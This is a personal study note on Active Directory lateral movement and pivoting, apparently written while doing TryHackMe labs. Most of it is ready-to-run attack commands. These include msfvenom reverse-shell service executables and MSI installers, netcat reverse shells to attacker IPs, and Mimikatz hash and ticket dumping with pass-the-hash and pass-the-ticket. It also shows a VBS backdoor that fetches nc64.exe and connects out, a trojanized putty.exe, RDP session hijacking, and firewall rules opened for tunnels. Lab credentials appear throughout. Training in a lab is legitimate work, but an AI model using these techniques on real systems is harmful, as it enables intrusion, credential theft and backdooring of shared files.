---
# System prepended metadata

title: Lateral Movement & Pivoting
tags: [Pivoting, ActiveDirectory, Penetratoin]

---


Owner: 侯智晟 - meowheckerouo@gmail.com

[TOC]

# Lateral Movement 

Once we finish the AD enumerate. we can leverage information and move to the Target . 

During lateral Movement, several action need to do
1. Bypass network restrictions
2. Establish BackDoors
3. Create the confusing and avoid detection.

During engagement, we need to pay attention that never using odd identity to access sensitive host when performing lateral movement.

**Simple Scenario**

If we obtain initial access from the Marketing PC, the next we attempt to access DataBase, but non-developer is restricted by firewall.

To overcome this, we need to moving to the DEV-001(High Trust machine (MAC, IP)) to bypass the firewall access control. 

![圖片](https://hackmd.io/_uploads/Hk150mFJA.png)



## Common Ways 

- RDP 
- SSH 
- WinRM (Windows Remove Management) 
- VNC (Virtual Network computing) 


## Admin & User Access Control(UCA)

UAC -> (User Access Control)

Using UAC, application and task always run as non-administrator account. (It will restrict us to escape the privilege from vulnerable software)

- Two type of Admin
    - Local account  (Machine Admin)
    - Domain account (AD Admin)

Domain Admin carry the access token to perform the managed task through the Remote connection 

(If account not carry the token, the windows will deny to privilege action)

Local admin account may be restrict permission by UCA, so it may affect our action during the lateral movement.


# Spawning Remote Processes

There are some techniques that allow us lateral movement to the compromised target


## WAY1: Psexec 

PORT 445/TCP (SMB)
Require Permission: Admin Group

Psexec is a light-weight telnet-replacement that lets us execute processes on remote host

Download Link: https://learn.microsoft.com/en-us/sysinternals/downloads/psexec


![圖片](https://hackmd.io/_uploads/HkdG4Z_y0.png)


Upload psexec64.exe to Victim and run it as server


Connecting the Target Psexec server and invoke cmd.exe process (RPC) 

```shell
psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
```



## Windows Remote Management (WinRM)

Port
- 5985 TCP(HTTP) 
- 5986 TCP(HTTPS)

Require permission :
- Remote Management 


WinRM -> Web-based protocol 


WinRM allow us using web-based protocol used to remote invoke PowerShell/cmd process interacting with us 


### Command Line 
```
winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
```
IF winrs.exe haven't a user and password in current line, it will automatically Using injected credential to establish the session !


### Powershell 

We need to create the PS Credential object.

Credential Object
```
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
```

Establish Session
```
Enter-PSSession -Computername TARGET -Credential $credential
```

Invoke-Command cmdlet

cmdlet -> the set of instruction 
```
Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}
```


## sc.exe (Windows Stander Tools)

Remote server Creation 

Port 
    135/49152~65535 (DEP/RPC)
    445/TCP (RPC over SMB Name Pipe)
    139/TCP (RPC over SMB Name Pipe)

Require Privilege: Administrator group


SVCCTL (Server Control Management !) Dynamic Port (RPC)

EMP (Endpoint Mapper)

Client can use the EMP service to determine the port of the SVCCTL service.

Using sc establish a new service on the remote host.

![image](https://hackmd.io/_uploads/H1_8IoPY6.png)


If the connection fails, sc.exe will try to reach SVCCTL through the SMB name pipe on port 445 or 139.

![image](https://hackmd.io/_uploads/HkjnYjwKa.png)



```
sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice
```


net user: User Management Tools
munra: Account
Pass123: Password
/add: Adding new user flag
\\TARGET: Remote Host

Stop the service 

```
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice
```

## Scheduled Task 


Windows Scheduled Task allows remote task creation using the following command.


```
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 

schtasks /s TARGET /run /TN "THMtask1"   #Run the Task immediately 
```

/sd and /st are not important since we will execute it manually.

clear the footprint
```
schtasks /S TARGET /TN "THMtask1" /DELETE /F
```


## LAB - sc.exe 

![圖片](https://hackmd.io/_uploads/S1WM3RdFa.png)

Initial Access (Jump Host)
AD Credential 

- Account: natasha.howells
- Password: Donald2005


SSH Login 
```
ssh za\\natasha.howells@thmjmp2.za.tryhackme.com
```

Administrator credential 
- Account:ZA.TRYHACKME.COM\\t1_leonard.summers
- Password:EZpass4ever


Our Goal: Using sc.exe move to the IIS server and catch the flag from t1_leonard 
![圖片](https://hackmd.io/_uploads/rJ1rPltF6.png)


sc.exe allow us arbitrary execute command and upload the binary file to service and run it. the binary file will associate with the service. 

Note-> sc.exe Management will kill the instance which is not a service-executable 

> Stander .exe and service-executable is different.


### Generate Reverse Shell (service-executable)

```
msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=10.50.17.167 LPORT=4444 -o meowservice.exe
```

### Using Smbclient Upload malicious service-executable to IIS server 

```
smbclient -c 'put meowservice.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' 
```
password ->EZpass4ever

![圖片](https://hackmd.io/_uploads/HyjtketYT.png)

### Establish the Listener 
```
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST lateralmovement
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf6 exploit(multi/handler) > exploit 
```

Alternate (one-line)

```
msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
```

![圖片](https://hackmd.io/_uploads/H11KqyYKa.png)


#### Using JumpHost Ad credential to run sc.exe


Administrator Credential (stable Shell)
```
runas /netonly /user:ZA.TRYHACKME.COM\t1_leonard.summers "c:\tools\nc64.exe -e cmd.exe 10.50.17.167 4443"
```

![圖片](https://hackmd.io/_uploads/B1MIZxtFp.png)

Receive the reverse shell form the Jump2 as admin 


Runas(t1 Credential !!)
![圖片](https://hackmd.io/_uploads/ry21WgtFa.png)

![圖片](https://hackmd.io/_uploads/B1n4OgFtp.png)

### Start the Malicious service-executable 


```shell-session
sc.exe \\thmiis.za.tryhackme.com create MeowService2 binPath= "%windir%\meowservice.exe" start= auto
```

```shell-session
sc.exe \\thmiis.za.tryhackme.com start MeowService2
```

![圖片](https://hackmd.io/_uploads/H1kvMeYFp.png)


![圖片](https://hackmd.io/_uploads/Skcx4xKYp.png)

![圖片](https://hackmd.io/_uploads/B1LZreKK6.png)

Solve!!


## LAB - WinRM 

Jump Host (Initial Credential)
Username: jasmine.stanley 
Password: G0O6Zd5aM
```
ssh za\\jasmine.stanley@thmjmp2.za.tryhackme.com
```


Domain Admin 

User: ZA.TRYHACKME.COM\t1_leonard.summers
Password: EZpass4ever


Lateral Target : thmiis.za.tryhackme.com

### Command prompt 

```
winrs -?
```
![image](https://hackmd.io/_uploads/B1_6zEM56.png)

```
winrs.exe -u:t1_leonard.summers -p:EZpass4ever -r:thmiis.za.tryhackme.com cmd

```

![image](https://hackmd.io/_uploads/rkgsm4G5T.png)


![image](https://hackmd.io/_uploads/SJozrVzq6.png)


???

## LAB - Psexec


![image](https://hackmd.io/_uploads/rJANL4Mcp.png)

![image](https://hackmd.io/_uploads/rkv2PVzca.png)



```
psexec64.exe \\10.200.51.201 -u t1_leonard.summers -p EZpass4ever -i cmd.exe
```

![image](https://hackmd.io/_uploads/ByltDVz5p.png)

# WMI (Windows Management Instrument)

WMI is Windows management Tools, allowing to perform management tasks that attackers can abuse for lateral movement!


## Connected to WMI (Powershell) 

### Creating Credential Object

Before connecting to WMI, we need to create a credential object and save it into a variable for the authentication.

```
$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
```


### Establish Session

Setting the session

```
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop
```
TARGET -> Replace to the target we want to lateral move 
Opt -> Session option (New session and setting protocol).

## Remote Process invoke (Powershell)

Requirement:

- Port 
    - 135/TCP <-----------> 49152-65535/TCP(DCERPC)
    - 5985(HTTP/WMI) 5986(HTTPS?WMI)
- Required Group Membership 
    - Administrator 

Using WMI invoke the powershell.  

```
$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $Command
}
```

**WMI won't show the any output**, but it will indeed create the command interpreter and execute the command.



## Invoke Remote Process   (Command prompt) 

On the old systems 
```
wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 
```

## Run Remote Services (Power Shell)


- Port 
    - 135/TCP <-----------> 49152-65535/TCP(DCERPC)
    - 5985(HTTP/WMI) 5986(HTTPS?WMI)
- Required privilege 
    - Administrator Group

Setting Service 
```
Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}
```

Launch the service!!

```
$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"

Invoke-CimMethod -InputObject $Service -MethodName StartService
```

Stop & Delete the service 

```
Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete
```


## Scheduled Task

Requirement:
- Port 
    - 135/TCP <-----------> 49152-65535/TCP(DCERPC)
    - 5985(HTTP/WMI) 5986(HTTPS?WMI)
- Required Group Membership 
    - Administrator 


Using the comlet (Default install in Windows) to create the scheduled task.
```
# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"
```

cmd.exe -> /c close the cmd windows after the commend is done


Delete the task after the it has been used

```
Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"
```

## Install MSI package

Requirement:
- Port 
    - 135/TCP <-----------> 49152-65535/TCP(DCERPC)
    - 5985(HTTP/WMI) 5986(HTTPS?WMI)
- Required Group Membership 
    - Administrator 


MSI is a file format for installers. If we can pass the malicious MSI file to the target, we can use WMI to invoke win32_Product to install it remotely!


Power shell 
```
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}
```

Command Prompt 
```
wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi
```


## LAB- WMI - Install MSI package / IIS2 Service 

Goal: Lateral move to IIS2 

Jump-HOST-Normal AD-Credential

Username: rachael.atkinson
Password: Zjqf3489


Administrator Group -> Leverage WMI 
**User:** ZA.TRYHACKME.COM\\t1_corine.waters

**Password:** Korine.1994

    

Work Flow 
![圖片](https://hackmd.io/_uploads/rJ4jeD1cp.png)


### Generate Reverse Shell & Listening & Upload to Target via smbclient 

Generating Reverse Shell 
```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > meowinstaller.msi
```



Upload MSI to Target via SMB (Admin Permission)
Up load Malicious file to admin public file `//thmiis.za.tryhackme.com/admin$/`
```
smbclient -c 'put meowinstaller.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' 
```
passwor: Korine.1994

![圖片](https://hackmd.io/_uploads/r1Zt7DJqT.png)

Listening Handler 
```
msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST lateralmovement; set LPORT 4445;exploit"
```


### Jump to JumpHost

```
za\\<AD Username>@thmjmp2.za.tryhackme.com
```


### Connect to WMI 

Credential 

```
$username = 't1_corine.waters';
$password = 'Korine.1994';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
```

![圖片](https://hackmd.io/_uploads/Hyw4rD1qp.png)


Establish session with the target machine.

```
$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName thmiis.za.tryhackme.com -Credential $credential -SessionOption $Opt -ErrorAction Stop
```

Install the Malicious WMI to obtian the revers shell 

```
Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\meowinstaller.msi"; Options = ""; AllUsers = $false}
```

![圖片](https://hackmd.io/_uploads/rylWDvy96.png)

![圖片](https://hackmd.io/_uploads/H168OPJqp.png)

![圖片](https://hackmd.io/_uploads/r1Z_OvkqT.png)

Get the Flag !!!!!
![圖片](https://hackmd.io/_uploads/HJ6ndv1cT.png)


Solved !! 


## LAB WMI - Remote Process Invoke 


GOAL: thmiis.za.tryhackme.com

Jump HOST 

Username: rachael.atkinson
Password: Zjqf3489


```
ssh za\\rachael.atkinson@thmjmp2.za.tryhackme.com
```

Administrator Group
User: ZA.TRYHACKME.COM\\t1_corine.waters

Password:Korine.1994

Command Prompt 

```
wmic.exe /user:t1_corine.waters /password:Korine.1994 /node:thmiis.za.tryhackme.com process call create "cmd.exe /c calc.exe"
```

![image](https://hackmd.io/_uploads/HkeWZHMqp.png)

幹

---

Powershell 

```
Powershell


$username = 't1_corine.waters;
$password = 'Korine.1994';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
```



# NTLM HASH/Ticket (Alternative Material Methods)





Alternative Material is mean any piece of data can be used to access the windows account without knowing the account's password 

NTLM Authentication 
Kerberos Authentication 



## Movement - Pass-the-HASH(PtH) 


If using the local account, the server have account password's hash, server can verify the response without interaction with domain controller 

![圖片](https://hackmd.io/_uploads/Sk-zlKkqT.png)


Once we compromise the host, we will attempt to extract the hash or credential via Mimikatz.

If Mimikatz can't crack the NTLM Hash, we can attempt pass the NTLM hash to bypass Authentication.


### Extract the NTLM HASH From SAM 

Extract the NTLM Hash from Local SAM(Security Account Management) or LSASS(Local Security Authentication Subsystems Service) memory.


Local SAM only have local account NTLM Hash

Running Mimikatz tools as Local Account 
```
mimikatz # privilege::debug  #Privilege escalation 
mimikatz # token::elevate
mimikatz # lsadump::sam   
```

```
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 145e02c50333951f71d13c245d352b50
```
Local Account NTLM Hash -> 145e02c50333951f71d13c245d352b50

### Extracting the NTLM Hash from LSASS memory 

This methods allow us to extract local and domain's user NTLM Hash 

```
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::msv 

```

![圖片](https://hackmd.io/_uploads/SJUsmUc1A.png)


### Pass NTLM HSAH  (Windows)


Launch the listener 
```
user@AttackBox$ nc -lvp 5555        
```

Using response to login remote machine and run arbitrary command.
```shell=
mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"
```

If we run the whoami command on this shell, it will still show us the original user, but any command run from here will actually use the credentials we injected.


Run the command in the shell that we receive (Lateral movement)
Move to -> THMIIS 
```
winrs.exe -r:THMIIS.za.tryhackme.com cmd
```
If we not specify the credential, winrs will use the  credential that was injected in current session.

### Passing NTLM Hash (LINUX) 


Way 1 - RDP 
```
xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
```

Way 2 - psexec
```
psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
```
Only linux version of pexec support PtH 

Way 3 - WinRM
```
evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH
```

----



## Movement - Pass Ticket Attack (Kerberos)

LSASS (Local Security Authentication Subsystems Service)

Sometime we extract the ticket from LSASS.exe using mimikatz, but we typically need Systems permission. 

```
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
```

Notice: Ticket and session key both are necessary, Otherwise we can't use the ticket 

Primary Goal 
    -> Extract the TGT(Access Any Service) : Require Admin privilege. 
    -> TGS(Specific Service) : Require Low-Privilege Account. 


### Injection Ticket in Current Session 

```
mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi
```


### Check if the ticket were correctly injected! 

```
klist
```

![圖片](https://hackmd.io/_uploads/Hy8NbGL5a.png)




## Over-the-Hash/ Pass the key 

This attack is similar to PtH but applied to Kerberos Network 

## LAB - Pass The Ticket (ptt Attack)
Jump Host - Initial Access

User: ZA.TRYHACKME.COM\\t2_felicia.dean
Password: iLov3THM!

ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com

Goal -> t1_toby.beck.


![圖片](https://hackmd.io/_uploads/rJ_ezGL96.png)

Stable Shell 

Attack Host
```
nc -lvnp 4444 
```

```
nc64.exe -e cmd.exe 10.50.49.180 4444
```


Systems User (Default)

```
privilege::debug    
```
![圖片](https://hackmd.io/_uploads/rkoy4GI5T.png)


South out Target Ticket 
```
sekurlsa::tickets /export
```

![圖片](https://hackmd.io/_uploads/BJeRFG85p.png)

TGT ??????????? 


![圖片](https://hackmd.io/_uploads/HyAsAfU9p.png)

Inject Ticket in Current session 


```
kerberos::ptt [0;160f71]-0-0-40a10000-tony.holland@HOST-thmiis.za.tryhackme.com.kirbi
```

![圖片](https://hackmd.io/_uploads/ryuz1XI5p.png)


![圖片](https://hackmd.io/_uploads/B1Udk7I96.png)

![圖片](https://hackmd.io/_uploads/S1faJQ8qp.png)
Fail since Tony.Holland privilege is too low, but theoretically this attack is feasible.

## LAB - NTLM Pass the Hash 


Jump Host Credential 
User: ZA.TRYHACKME.COM\\t2_felicia.dean
Password: iLov3THM!


ssh za\\t2_felicia.dean@thmjmp2.za.tryhackme.com


![圖片](https://hackmd.io/_uploads/ryvOpce96.png)


![圖片](https://hackmd.io/_uploads/HkrS09lca.png)

![圖片](https://hackmd.io/_uploads/HyhOR5xqp.png)


Extracting Local SAM

```
privilege::debug
token::elevate  #Grep Process and Treading Token 
```

![圖片](https://hackmd.io/_uploads/Bk1s0qx5T.png)

Extracting LSASS memory

```
sekurlsa::msv 
```

![圖片](https://hackmd.io/_uploads/B19h7jxcp.png)



## Return shell with Injected NTLM hash 
```
token::revert

sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.49.180 4444"
```


![圖片](https://hackmd.io/_uploads/B1grZsl96.png)

![圖片](https://hackmd.io/_uploads/HygUZsg9a.png)

Although, whoamu command will show us the original user we login, Actually the credential has been injected using PtH.

![圖片](https://hackmd.io/_uploads/SJPcGox96.png)
```
winrs.exe -r:THMIIS.za.tryhackme.com cmd
```
If you didn't specific the credential. winrs will use current credential to our session!
![圖片](https://hackmd.io/_uploads/H1qFLixc6.png)

![圖片](https://hackmd.io/_uploads/S1Ua8jlca.png)

Solved!

# User Misconfiguration 

In certain situations, we can exploit misconfigured to perform lateral movement to arrive our goal.

## Writable shares folder  

Within the company internal network, Some Network share typically writable allow users to perform some day-to-day task.

We can attempt to write or upload malicious file into share folder.

![圖片](https://hackmd.io/_uploads/HJQXR9Mcp.png)


Finding scripts or executable files hosted on network shares.

Putty Property 
![圖片](https://hackmd.io/_uploads/B1YmSDqy0.png)

Even though the backdoor is hosted on the server,we also can use script to copied it from the server into Victims's %temp% folder and executed backdore on Victims.


### Backdooring -VBS Script 

If the shared resource is a VB script, we can copy Necat to the same share path and inject the following code into the VBS script:

```
CreateObject("WScript.Shell").Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <attacker_ip> 1234", 0, True
```

This will copy nc64.exe from the share to the user's workstation %tmp% directory and send a reverse shell back.


### Backdooring .exe Files

If the share file is windows binary file, we can download the binary file from network share and use msfvenom to inject a backdoor into it. 


putty.exe for example 
```
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=<attacker_ip> lport=4444 -b "\x00" -f exe -o puttyX.exe
```

puttyX.exe will execute a reverse_tcp meterpreter payload without the user noticing it. Once the file has been generated, we can replace the executable on the Windows share and wait for any connections using the exploit/multi/handler module from Metasploit.

## RDP Hijacking 

(Windows Server 2019) allow us to connect to another user's session without password.

When a user directly closes the RDP window without logging out, the session won't be closed immediately. Thus, we can leverage this to hijack the session to move.

Before we started , running the shell as an administrator.

![圖片](https://hackmd.io/_uploads/H16G_w5kC.png)

### Launch Psexec 

```
PsExec64.exe -s cmd.exe
```

-s: Run the remote process in the System account.


### List the existing Session on a server  

```
query user 
```

![圖片](https://hackmd.io/_uploads/HkSmLBB9p.png)


### Take over the session 

Take over Luke's session as an administrator user:
```
tscon 3 /dest:rdp-tcp#6
```

Note: User will be forced out of current session. 


## LAB - RDP Hijack

Jump host-Admin 
 Username: t2_kelly.blake 
 Password: 8LXuPeNHZFFG

RDP Session 
```
xfreerdp /v:thmjmp2.za.tryhackme.com /u:t2_kelly.blake /p:8LXuPeNHZFFG
```

![圖片](https://hackmd.io/_uploads/B1ho_SSc6.png)

```
cd /tools 
```

![圖片](https://hackmd.io/_uploads/BJSCOrrqT.png)

Run the PsExec 
```
PsExec64.exe -s cmd.exe
```
![圖片](https://hackmd.io/_uploads/HyD-trHqT.png)

Takeover the session 
```
tscon 2 /dest:rdp-tcp#4
```

![圖片](https://hackmd.io/_uploads/ByU0kIS5a.png)

Solved !! 


# Port Forwarding (Bypass Firewall Rules)

Most lateral movement require the specific port for movement such as (SMB:445, RPC:111, RDP:3389, WinRM:5985)

However,those Port are often blocked by IT manager.(Firewall Rule s)

To address these issue, we can utilize port forwarding technique to bypass port blocked.




## SSH Tunnel


Auth via ssh (Way-1) 
2 key pair
![圖片](https://hackmd.io/_uploads/SyLbDdcJR.png)


Auth (Way -2)
1 Key pair 

![圖片](https://hackmd.io/_uploads/H1XCFuqk0.png)



Both of Linux and windows(openSSH) support ssh protocol by default.

![圖片](https://hackmd.io/_uploads/ryg7_T25a.png)

we have low privilege access right in PC-1(www-data)

### Adding a new user for tunnel purpose

(System Account for Tunnel. Not allow to run the interacting shell)

On our Attacker server (ssh Server, Systems Account)
```
useradd tunneluser -m -d /home/tunneluser -s /bin/true
passwd tunneluser
```

m : --create-home Creating home directory.
d : --home-dir $HOME_DIR
s : --shell : Specify the type of shell

/bin/true won't be able to run command in shell, because /bin/true always returns a successful exit status. 


### Remote Port Forwarding 

Remote Port forwarding allow client mapping its access port to SSH server. 

![圖片](https://hackmd.io/_uploads/B10HkK9y0.png)


```
ssh tunneluser@1.1.1.1 -R 3389:3.3.3.3:3389 -N
```

N :Do not execute a remote command
tunneluser is a systems account we created doesn't have permission to run the command on our machine.



Connect to Remote server via RDP protocol 

```        
 xfreerdp /v:127.0.0.1 /u:MyUser /p:MyPassword
```


### Local Port Forwarding

Local Port Forwarding allows us to exposure port to receive reverse shell 





![圖片](https://hackmd.io/_uploads/B1_G7Fq1A.png)

```
ssh tunneluser@1.1.1.1 -L *:8000:127.0.0.1:8000 -N
```


Due to we opened a new port on compromised machine, we need to modify firewall rules for incoming connections.


![圖片](https://hackmd.io/_uploads/SyW2hSPsp.png)


(Require Local account privilege)
```
netsh advfirewall firewall add rule name="Open Port 8000" dir=in action=allow protocol=TCP localport=8000
```


## Socat 

### Port Forward 
 

we need to transfer socat.exe to the compromised host. it wail increase the opportunity be detected by AV or IDS.

```
socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389
```

![圖片](https://hackmd.io/_uploads/HkJOvY51R.png)



```
 xfreerdp /v:2.2.2.2 /u:MyUser /p:MyPassword
```

Fork option is allow the socat to create new process for each connection received.


```
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389
```


### Expose Port Attacker port (Receive reverse shell)


![圖片](https://hackmd.io/_uploads/B1u-5KcJR.png)


```
socat TCP4-LISTEN:8000,fork TCP4:1.1.1.1:8000
```


Modify firewall rules
```
netsh advfirewall firewall add rule name="Open Port 8000" dir=in action=allow protocol=TCP localport=8000
```



## Dynamic Port forwarding  (Socket Proxy) 


![圖片](https://hackmd.io/_uploads/Hkxj8Lvia.png)

Dynamic port forwarding allow us to perform Port scanning attack in the Attacker PC 


![圖片](https://hackmd.io/_uploads/BJM7vLwip.png)

```
C:\> ssh tunneluser@1.1.1.1 -R 9050 -N
```

Attacker Proxy Configuration 

Default path: /etc/proxychains4.conf 

```
vim /etc/proxychains4.conf 
```


![圖片](https://hackmd.io/_uploads/S1YGFIDop.png)

Execute the command through the proxy server(Jump Host)

```
proxychains curl http://pxeboot.za.tryhackme.com
```

Note that some softwares such as nmap that might not good well with the SOCKS proxy in some circumstances.




## LAB


TARGET
![圖片](https://hackmd.io/_uploads/B1skVW6J0.png)
thmiis.za.tryhackme.com
ping 10.200.122.201

```
ATTACKER_INTERFACE="lateralmovement"
ATTACKER_IP=$(ip addr show $ATTACKER_INTERFACE | awk '/inet / {print $2}' | cut -d '/' -f 1)
echo "ATTACKE IP: $ATTACKER_IP"

AD_DOMAIN_NAME='za.tryhackme.com'
DC_IP=10.200.122.101
DNS_IP=10.200.122.101


nslookup $Domain_Name $DNS_IP
```

![圖片](https://hackmd.io/_uploads/S1qxhgTJR.png)


Get AD Credential
http://distributor.za.tryhackme.com/creds

Username: jasmine.stanley Password: G0O6Zd5aM

```
AD_USER=jasmine.stanley
ssh za\\$AD_USER@thmjmp2.za.tryhackme.com
```



### Creating Tunnel User

```
useradd meowtunnel -m -d /home/meowtunnel -s /bin/true
passwd meowtunnel
```
meowtunnel:meowpass



### Dynamic Port Forwarding (ProxyChains)
```
ssh meowtunnel@10.50.119.185 -R 9050 -N
```

![圖片](https://hackmd.io/_uploads/ryJbibpyC.png)

![圖片](https://hackmd.io/_uploads/SkML2bay0.png)

```
vim /etc/proxychains4.conf 
```
![圖片](https://hackmd.io/_uploads/HJMYT-pk0.png)



```
proxychains curl thmiis.za.tryhackme.com
```
![圖片](https://hackmd.io/_uploads/ryaczMaJA.png)

![圖片](https://hackmd.io/_uploads/ByKOOGa1R.png)

```
#Pivoting Host 
nslookup thmiis.za.tryhackme.com  


#Attacker HOST
proxychains nmap -n -Pn -sT 10.200.122.201 
```

![圖片](https://hackmd.io/_uploads/Hy9dqzaJR.png)


![圖片](https://hackmd.io/_uploads/BkrRCG61C.png)



## Enumerate 

```
net user /domain
net user t1_thomas.moore /domain
```

![圖片](https://hackmd.io/_uploads/r1mQyQ6kR.png)

![圖片](https://hackmd.io/_uploads/S1Ke17TyR.png)


we know 
t1_thomas.moore:MyPazzw3rd2020

```
proxychains xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:thmiis.za.tryhackme.com:3389 /u:t1_thomas.moore /p:MyPazzw3rd2020
```

![圖片](https://hackmd.io/_uploads/HkTpPXT10.png)

thmiis.za.tryhackme.com -> run Netstat
![圖片](https://hackmd.io/_uploads/SJQs9XTk0.png)



## LAB - Exploit (HTP:RCE /Require web shell upload)




